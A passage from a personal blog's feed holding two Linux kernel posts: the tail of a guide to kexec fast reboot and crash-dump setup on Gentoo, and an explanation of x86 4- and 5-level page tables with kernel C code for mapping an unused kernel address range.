new kernel. Therefore, we need to add/modify the following line
in <code class="language-plaintext highlighter-rouge">/etc/default/grub</code>.</p>

<div class="language-config highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">GRUB_CMDLINE_LINUX</span>=<span class="s2">"crashkernel=1024M,high nokaslr"</span>
</code></pre></div></div>

<p>The <code class="language-plaintext highlighter-rouge">crashkernel</code> might be a lower value if you have less
memory available. My PC has 32 GiB of memory, just for reference.</p>

<p>The <code class="language-plaintext highlighter-rouge">nokaslr</code> disables address space randomization so that,
GDB can correctly recognize debug symbols from <code class="language-plaintext highlighter-rouge">/proc/vmcore</code>.</p>

<h3 id="installation">Installation</h3>

<p>Use the following to install userland utilities (on Gentoo).</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">sudo </span>emerge <span class="nt">--ask</span> <span class="nt">--verbose</span> sys-apps/kexec-tools
</code></pre></div></div>

<h2 id="usage-i-fast-reboot">Usage I: Fast Reboot</h2>

<p>For fast reboot, the command is simple. Note that the <code class="language-plaintext highlighter-rouge">--initrd</code>
is not mandatory if you don’t have one. Moreover, <code class="language-plaintext highlighter-rouge">--append</code>
might be replaced with <code class="language-plaintext highlighter-rouge">--reuse-cmdline</code> if you want to use
the same set of cmdline arguments.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>kexec <span class="nt">-l</span> path_to_kernel_image <span class="nt">--initrd</span><span class="o">=</span>path_to_initrd_image <span class="se">\</span>
<span class="nt">--append</span><span class="o">=</span>command-line-options
</code></pre></div></div>

<p>A concrete example would the following.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">sudo </span>kexec <span class="nt">-l</span> /boot/vmlinuz-6.1.38 <span class="nt">--reuse-cmdline</span>
</code></pre></div></div>

<p>With new kernel loaded, you can use the following command
to fast reboot if you’re using <code class="language-plaintext highlighter-rouge">systemd</code>.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">sudo </span>systemctl kexec
</code></pre></div></div>

<h2 id="usage-ii-crash-dump">Usage II: Crash Dump</h2>

<p>For crashdump, things are a far more complicated. Here
is a list of points to pay attention.</p>

<ul>
  <li>Use <code class="language-plaintext highlighter-rouge">-p</code> instead of <code class="language-plaintext highlighter-rouge">-l</code> to load crashdump kernel.</li>
  <li>Remove unnecessary modules via <code class="language-plaintext highlighter-rouge">modprobe.blacklist=&lt;comma-separated-list&gt;</code>.</li>
  <li>Limit the number of CPUs by <code class="language-plaintext highlighter-rouge">maxcpus=1</code>.</li>
  <li>Use <code class="language-plaintext highlighter-rouge">irqpoll</code> for stable interrupt handling.</li>
</ul>

<p>With all that, we can come up with the following command.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">sudo </span>kexec <span class="nt">-p</span> /boot/vmlinuz-6.1.31-gentoo <span class="nt">--reset-vga</span> <span class="nt">--console-vga</span> <span class="se">\ </span>
<span class="nt">--command-line</span><span class="o">=</span><span class="s2">"root=/dev/nvme0n1p5 maxcpus=1 irqpoll quite splash loglevel=3 </span><span class="se">\</span><span class="s2">
systemd.show_status=false modprobe.blacklist=iptable_nat,nvidia_drm </span><span class="se">\</span><span class="s2">
,nvidia_modeset,nvidia,iwlmvm,kvm_intel,iwlwifi,fuse,efivarfs </span><span class="se">\</span><span class="s2">
systemd.journald.forward_to_console=no"</span>
</code></pre></div></div>

<p>If you’re using a X-based GUI environment, I would suggest
that you use <code class="language-plaintext highlighter-rouge">VTx</code> via <code class="language-plaintext highlighter-rouge">Ctrl+Alt+F{1-6}</code> before you do something
to crash your kernel otherwise kernel will just be stuck.</p>

<blockquote>
  <p>Sidenote: If you are using a display manager (e.g., lxdm)
repeatedly respawn itself on failure. This repeated behavior
should be disabled, since it will force the screen to constantly
switch back to VT1.
For <code class="language-plaintext highlighter-rouge">systemd</code>, just comment out <code class="language-plaintext highlighter-rouge">Restart=Always</code> to prevent this.</p>
</blockquote>]]></content><author><name>Hongyi LU</name><email>jwnhy0@gmail.com</email></author><summary type="html"><![CDATA[How to use kexec for fast reboot/crashdump?]]></summary></entry><entry><title type="html">x86 4-level and 5-level pagetable on Linux</title><link href="https://hongyi.lu/x86_pagetable/" rel="alternate" type="text/html" title="x86 4-level and 5-level pagetable on Linux" /><published>2023-08-03T00:00:00+00:00</published><updated>2023-08-03T00:00:00+00:00</updated><id>https://hongyi.lu/x86_pagetable</id><content type="html" xml:base="https://hongyi.lu/x86_pagetable/"><![CDATA[<p>The structures of different page tables on Linux.</p>

<h2 id="theory">Theory</h2>

<p>Intel supports 5-level paging, supporting over 128 PB of memory.
However, this makes implementation of Linux a bit werid. So I
write this to help myself remember. The kernel I use is Linux 6.1.38.</p>

<p>Overall, there is also a 5-level structure in Linux as follows.</p>

<blockquote>
  <p>CR3 (128PB) -&gt; pgd (256TB) -&gt; p4d (512GB) -&gt; pud (1GB) -&gt; pmd (2MB) -&gt; pte (4KB)</p>
</blockquote>

<p>Interestingly, structures like <code class="language-plaintext highlighter-rouge">struct pgd_t</code> are in fact <em>entries</em>
inside pagetables. For instance, the following code returns the
corresponding <code class="language-plaintext highlighter-rouge">pgd</code> entry for a specific address.</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">static</span> <span class="kr">inline</span> <span class="n">pgd_t</span> <span class="o">*</span><span class="nf">pgd_offset_pgd</span><span class="p">(</span><span class="n">pgd_t</span> <span class="o">*</span><span class="n">pgd</span><span class="p">,</span> <span class="kt">unsigned</span> <span class="kt">long</span> <span class="n">address</span><span class="p">)</span>
<span class="p">{</span>
    <span class="k">return</span> <span class="p">(</span><span class="n">pgd</span> <span class="o">+</span> <span class="n">pgd_index</span><span class="p">(</span><span class="n">address</span><span class="p">));</span>
<span class="p">};</span>
</code></pre></div></div>

<p>However, this causes a divergence in terms of semantics of <code class="language-plaintext highlighter-rouge">*_offset</code>
functions.</p>

<p>For <code class="language-plaintext highlighter-rouge">pgd_t</code> and <code class="language-plaintext highlighter-rouge">pgd_t</code> only, the <code class="language-plaintext highlighter-rouge">pgd_offset_*</code> functions
perform <em>same</em> level offseting (<code class="language-plaintext highlighter-rouge">pgd_t</code> -&gt; <code class="language-plaintext highlighter-rouge">pgd_t</code>).</p>

<p>For other levels, the <code class="language-plaintext highlighter-rouge">*_offset</code> function return the pagetable for
<em>next</em> level (e.g., <code class="language-plaintext highlighter-rouge">pgd_t</code> -&gt; <code class="language-plaintext highlighter-rouge">p4d_t</code> for <code class="language-plaintext highlighter-rouge">p4d_offset()</code>)</p>

<p>Subject to the exact configuration, <code class="language-plaintext highlighter-rouge">p4d</code> and <code class="language-plaintext highlighter-rouge">pud</code> may not exist,
but <code class="language-plaintext highlighter-rouge">pgd</code> always exists. In the cases, where <code class="language-plaintext highlighter-rouge">p4d</code> or <code class="language-plaintext highlighter-rouge">pud</code> do not
exist. Their macros are replaced with dummy implementation.</p>

<p>For example, the macro <code class="language-plaintext highlighter-rouge">p4d_offset</code> is as follows. When only 4-level paging
is activated, it directly returns <code class="language-plaintext highlighter-rouge">pgd</code> (converted to <code class="language-plaintext highlighter-rouge">p4d</code>);</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">static</span> <span class="kr">inline</span> <span class="n">p4d_t</span> <span class="o">*</span><span class="nf">p4d_offset</span><span class="p">(</span><span class="n">pgd_t</span> <span class="o">*</span><span class="n">pgd</span><span class="p">,</span> <span class="kt">unsigned</span> <span class="kt">long</span> <span class="n">address</span><span class="p">)</span>
<span class="p">{</span>
    <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">pgtable_l5_enabled</span><span class="p">())</span>
        <span class="k">return</span> <span class="p">(</span><span class="n">p4d_t</span> <span class="o">*</span><span class="p">)</span><span class="n">pgd</span><span class="p">;</span>
    <span class="c1">// Note `*pgd` is used here, extracting the `pgd` entry.</span>
    <span class="k">return</span> <span class="p">(</span><span class="n">p4d_t</span> <span class="o">*</span><span class="p">)</span><span class="n">pgd_page_vaddr</span><span class="p">(</span><span class="o">*</span><span class="n">pgd</span><span class="p">)</span> <span class="o">+</span> <span class="n">p4d_index</span><span class="p">(</span><span class="n">address</span><span class="p">);</span>
<span class="p">}</span>
</code></pre></div></div>

<p>Similarly for macros like <code class="language-plaintext highlighter-rouge">p4d_index</code>, these dummy macros just simply
return 0 when <code class="language-plaintext highlighter-rouge">p4d</code> is folded. This is presumably for a unified implementation
of pagetable walking (same implementation for {3,4,5}-level paging).</p>

<p>The following picture shows how Linux uses different structures to handle
pagetable hierarchy, epspecially <code class="language-plaintext highlighter-rouge">p4d = (p4d_t*)(*pgd) + p4d_index(addr)</code>.
<img src="https://pic4.58cdn.com.cn/nowater/webim/big/n_v28cb2886a12a544cd941848d7986907e4.png" alt="image.png" /></p>

<p>Particularly, when only 4-level paging is enabled, the <code class="language-plaintext highlighter-rouge">p4d_index(*)</code> <em>always</em>
returns 0, that is <code class="language-plaintext highlighter-rouge">pgd</code> directly points to different <code class="language-plaintext highlighter-rouge">pud</code>.</p>

<h2 id="practice">Practice</h2>

<p>The reason I dig into this is that I need to map an <em>unused</em> part of
<a href="https://www.kernel.org/doc/html/v6.1/x86/x86_64/mm.html">virtual address space</a>
of Linux and use it for my own purpose.</p>

<p>Specifically, I want to use the 2TB hole from <code class="language-plaintext highlighter-rouge">fffffc0000000000</code> to
<code class="language-plaintext highlighter-rouge">fffffdffffffffff</code>, and this should be shared between <em>all</em> kernel
thread, meaning it should be injected into <code class="language-plaintext highlighter-rouge">init_mm</code>, the address space
of <code class="language-plaintext highlighter-rouge">init</code> process.</p>

<blockquote>
  <p>This design only works for 4-level paging w.o. Kernel Pagetable Isolation (KPTI).</p>
</blockquote>

<p><img src="https://pic2.58cdn.com.cn/nowater/webim/big/n_v25836460d75744cb38f67e2b07ee66bdd.png" alt="pagetable.drawio.png" /></p>

<p>In practice here, we only care about 4-level paging, meaning <code class="language-plaintext highlighter-rouge">p4d</code>’s
are always folded as shown in above figure.</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">void</span> <span class="nf">init_x</span><span class="p">(</span><span class="kt">void</span><span class="p">)</span> <span class="p">{</span>
  <span class="cm">/* other code */</span>
  <span class="n">top_pgd</span> <span class="o">=</span> <span class="n">init_mm</span><span class="p">.</span><span class="n">pgd</span><span class="p">;</span>
  <span class="n">pgd</span> <span class="o">=</span> <span class="n">pgd_offset_pgd</span><span class="p">(</span><span class="n">top_pgd</span><span class="p">,</span> <span class="n">addr</span><span class="p">);</span>
  <span class="n">p4d</span> <span class="o">=</span> <span class="n">p4d_offset</span><span class="p">(</span><span class="n">pgd</span><span class="p">,</span> <span class="n">addr</span><span class="p">);</span>   <span class="c1">// dummy transition</span>

  <span class="cm">/* we assume 4 page level, pgd = p4d*/</span>
  <span class="n">BUG_ON</span><span class="p">(</span><span class="n">p4d</span> <span class="o">!=</span> <span class="p">(</span><span class="n">p4d_t</span> <span class="o">*</span><span class="p">)</span><span class="n">pgd</span><span class="p">);</span>
  <span class="n">nr_pgd</span> <span class="o">=</span> <span class="p">(</span><span class="n">MOAT_END</span> <span class="o">-</span> <span class="n">MOAT_START</span><span class="p">)</span> <span class="o">&gt;&gt;</span> <span class="mi">39</span><span class="p">;</span>
  <span class="k">for</span> <span class="p">(</span><span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="n">nr_pgd</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
    <span class="n">BUG_ON</span><span class="p">(</span><span class="o">!</span><span class="n">moat_pud_alloc</span><span class="p">(</span><span class="o">&amp;</span><span class="n">init_mm</span><span class="p">,</span> <span class="n">p4d</span><span class="p">,</span> <span class="n">addr</span><span class="p">));</span>
    <span class="n">addr</span> <span class="o">=</span> <span class="n">pgd_addr_end</span><span class="p">(</span><span class="n">addr</span><span class="p">,</span> <span class="n">MOAT_END</span><span class="p">);</span>
    <span class="n">pgd</span> <span class="o">=</span> <span class="n">pgd_offset_pgd</span><span class="p">(</span><span class="n">top_pgd</span><span class="p">,</span> <span class="n">addr</span><span class="p">);</span>
    <span class="n">p4d</span> <span class="o">=</span> <span class="n">p4d_offset</span><span class="p">(</span><span class="n">pgd</span><span class="p">,</span> <span class="n">addr</span><span class="p">);</span> <span class="c1">// dummy transition.</span>
  <span class="p">}</span>
<span class="p">}</span>
</code></pre></div></div>

<p>After this function is executed, four additional <code class="language-plaintext highlighter-rouge">pud</code> are allocated,
<code class="language-plaintext highlighter-rouge">pgd[504-507]</code> pointing to four different <code class="language-plaintext highlighter-rouge">pud</code> table.</p>]]></content><author><name>Hongyi LU</name><email>jwnhy0@gmail.com</email></author><summary type="html"><![CDATA[The structures of different page tables on Linux.]]></summary></entry></feed>